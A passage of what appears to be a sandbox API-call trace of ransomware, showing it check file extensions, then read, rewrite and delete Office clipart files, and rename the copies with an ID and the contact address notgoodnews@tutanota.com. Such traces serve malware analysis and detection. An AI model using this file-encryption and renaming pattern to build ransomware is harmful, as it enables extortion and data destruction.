(lpString1=".rar", lpString2=".WMF") returned -1 [0176.391] lstrlenW (lpString=".bz2") returned 4 [0176.391] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.392] lstrlenW (lpString=".7z") returned 3 [0176.392] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0176.392] lstrlenW (lpString=".dbf") returned 4 [0176.392] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0176.392] lstrlenW (lpString=".1cd") returned 4 [0176.392] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0176.392] lstrlenW (lpString=".jpg") returned 4 [0176.392] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.392] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0176.392] lstrlenW (lpString="J0105396.WMF") returned 12 [0176.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0176.441] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=11012) returned 1 [0176.441] CloseHandle (hObject=0x474) returned 1 [0176.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf")) returned 0x220 [0176.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0176.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0176.657] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.657] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0176.859] GetLastError () returned 0x0 [0176.859] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x2b04, lpOverlapped=0x0) returned 1 [0176.871] WriteFile (in: hFile=0x4e8, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2b10, lpOverlapped=0x0) returned 1 [0176.872] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0176.872] WriteFile (in: hFile=0x4e8, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0176.872] SetEndOfFile (hFile=0x4e8) returned 1 [0176.872] CloseHandle (hObject=0x4e8) returned 1 [0176.872] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.872] SetEndOfFile (hFile=0x544) returned 1 [0176.875] CloseHandle (hObject=0x544) returned 1 [0176.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0176.877] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf")) returned 1 [0176.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0176.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0176.878] lstrlenW (lpString=".doc") returned 4 [0176.878] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.878] lstrlenW (lpString=".docx") returned 5 [0176.878] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0176.878] lstrlenW (lpString=".pdf") returned 4 [0176.878] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.878] lstrlenW (lpString=".xls") returned 4 [0176.878] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.878] lstrlenW (lpString=".xlsx") returned 5 [0176.878] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0176.878] lstrlenW (lpString=".ppt") returned 4 [0176.878] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0176.878] lstrlenW (lpString=".zip") returned 4 [0176.878] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.878] lstrlenW (lpString=".rar") returned 4 [0176.878] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.878] lstrlenW (lpString=".bz2") returned 4 [0176.878] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.878] lstrlenW (lpString=".7z") returned 3 [0176.878] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0176.878] lstrlenW (lpString=".dbf") returned 4 [0176.878] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0176.878] lstrlenW (lpString=".1cd") returned 4 [0176.878] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0176.879] lstrlenW (lpString=".jpg") returned 4 [0176.879] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0176.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0176.879] lstrlenW (lpString=".doc") returned 4 [0176.879] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.879] lstrlenW (lpString=".docx") returned 5 [0176.879] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0176.879] lstrlenW (lpString=".pdf") returned 4 [0176.879] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.879] lstrlenW (lpString=".xls") returned 4 [0176.879] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.879] lstrlenW (lpString=".xlsx") returned 5 [0176.879] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0176.879] lstrlenW (lpString=".ppt") returned 4 [0176.879] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0176.879] lstrlenW (lpString=".zip") returned 4 [0176.879] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.879] lstrlenW (lpString=".rar") returned 4 [0176.879] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.879] lstrlenW (lpString=".bz2") returned 4 [0176.879] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.879] lstrlenW (lpString=".7z") returned 3 [0176.879] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0176.879] lstrlenW (lpString=".dbf") returned 4 [0176.879] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0176.879] lstrlenW (lpString=".1cd") returned 4 [0176.879] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0176.879] lstrlenW (lpString=".jpg") returned 4 [0176.879] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.880] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0176.880] lstrlenW (lpString="J0105490.WMF") returned 12 [0176.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0176.881] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=18728) returned 1 [0176.881] CloseHandle (hObject=0x4e8) returned 1 [0176.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf")) returned 0x220 [0176.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0176.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0176.882] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.882] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0176.882] GetLastError () returned 0x0 [0176.882] ReadFile (in: hFile=0x4e8, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x4928, lpOverlapped=0x0) returned 1 [0176.886] WriteFile (in: hFile=0x554, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x4930, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x4930, lpOverlapped=0x0) returned 1 [0176.891] ReadFile (in: hFile=0x4e8, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0176.891] WriteFile (in: hFile=0x554, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0176.891] SetEndOfFile (hFile=0x554) returned 1 [0176.891] CloseHandle (hObject=0x554) returned 1 [0176.891] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.891] SetEndOfFile (hFile=0x4e8) returned 1 [0176.900] CloseHandle (hObject=0x4e8) returned 1 [0176.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0176.901] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf")) returned 1 [0176.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0176.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0176.903] lstrlenW (lpString=".doc") returned 4 [0176.903] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.903] lstrlenW (lpString=".docx") returned 5 [0176.903] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0176.903] lstrlenW (lpString=".pdf") returned 4 [0176.903] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.903] lstrlenW (lpString=".xls") returned 4 [0176.903] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.903] lstrlenW (lpString=".xlsx") returned 5 [0176.903] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0176.903] lstrlenW (lpString=".ppt") returned 4 [0176.903] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0176.903] lstrlenW (lpString=".zip") returned 4 [0176.903] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.903] lstrlenW (lpString=".rar") returned 4 [0176.903] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.903] lstrlenW (lpString=".bz2") returned 4 [0176.903] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.903] lstrlenW (lpString=".7z") returned 3 [0176.904] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0176.904] lstrlenW (lpString=".dbf") returned 4 [0176.904] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0176.904] lstrlenW (lpString=".1cd") returned 4 [0176.904] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0176.904] lstrlenW (lpString=".jpg") returned 4 [0176.904] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0176.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0176.904] lstrlenW (lpString=".doc") returned 4 [0176.904] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.904] lstrlenW (lpString=".docx") returned 5 [0176.904] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0176.904] lstrlenW (lpString=".pdf") returned 4 [0176.904] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.904] lstrlenW (lpString=".xls") returned 4 [0176.904] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.904] lstrlenW (lpString=".xlsx") returned 5 [0176.904] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0176.904] lstrlenW (lpString=".ppt") returned 4 [0176.904] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0176.904] lstrlenW (lpString=".zip") returned 4 [0176.904] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.904] lstrlenW (lpString=".rar") returned 4 [0176.904] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.904] lstrlenW (lpString=".bz2") returned 4 [0176.904] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.904] lstrlenW (lpString=".7z") returned 3 [0176.904] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0176.905] lstrlenW (lpString=".dbf") returned 4 [0176.905] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0176.905] lstrlenW (lpString=".1cd") returned 4 [0176.905] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0176.905] lstrlenW (lpString=".jpg") returned 4 [0176.905] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.905] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0176.905] lstrlenW (lpString="J0105496.WMF") returned 12 [0176.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0176.906] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=5156) returned 1 [0176.906] CloseHandle (hObject=0x4e8) returned 1 [0176.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf")) returned 0x220 [0176.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0176.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0176.906] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.907] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0176.907] GetLastError () returned 0x0 [0176.907] ReadFile (in: hFile=0x4e8, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x1424, lpOverlapped=0x0) returned 1 [0176.912] WriteFile (in: hFile=0x558, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x1430, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1430, lpOverlapped=0x0) returned 1 [0176.914] ReadFile (in: hFile=0x4e8, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0176.914] WriteFile (in: hFile=0x558, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0176.914] SetEndOfFile (hFile=0x558) returned 1 [0176.915] CloseHandle (hObject=0x558) returned 1 [0176.915] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.915] SetEndOfFile (hFile=0x4e8) returned 1 [0176.917] CloseHandle (hObject=0x4e8) returned 1 [0176.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0176.918] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf")) returned 1 [0176.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0176.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0176.919] lstrlenW (lpString=".doc") returned 4 [0176.919] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.919] lstrlenW (lpString=".docx") returned 5 [0176.919] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0176.919] lstrlenW (lpString=".pdf") returned 4 [0176.919] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.919] lstrlenW (lpString=".xls") returned 4 [0176.919] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.919] lstrlenW (lpString=".xlsx") returned 5 [0176.919] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0176.919] lstrlenW (lpString=".ppt") returned 4 [0176.919] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0176.919] lstrlenW (lpString=".zip") returned 4 [0176.919] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.919] lstrlenW (lpString=".rar") returned 4 [0176.919] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.919] lstrlenW (lpString=".bz2") returned 4 [0176.919] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.919] lstrlenW (lpString=".7z") returned 3 [0176.919] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0176.919] lstrlenW (lpString=".dbf") returned 4 [0176.919] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0176.919] lstrlenW (lpString=".1cd") returned 4 [0176.919] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0176.919] lstrlenW (lpString=".jpg") returned 4 [0176.919] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0176.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0176.919] lstrlenW (lpString=".doc") returned 4 [0176.919] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.919] lstrlenW (lpString=".docx") returned 5 [0176.920] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0176.920] lstrlenW (lpString=".pdf") returned 4 [0176.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.920] lstrlenW (lpString=".xls") returned 4 [0176.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.920] lstrlenW (lpString=".xlsx") returned 5 [0176.920] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0176.920] lstrlenW (lpString=".ppt") returned 4 [0176.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0176.920] lstrlenW (lpString=".zip") returned 4 [0176.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.920] lstrlenW (lpString=".rar") returned 4 [0176.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.920] lstrlenW (lpString=".bz2") returned 4 [0176.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.920] lstrlenW (lpString=".7z") returned 3 [0176.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0176.920] 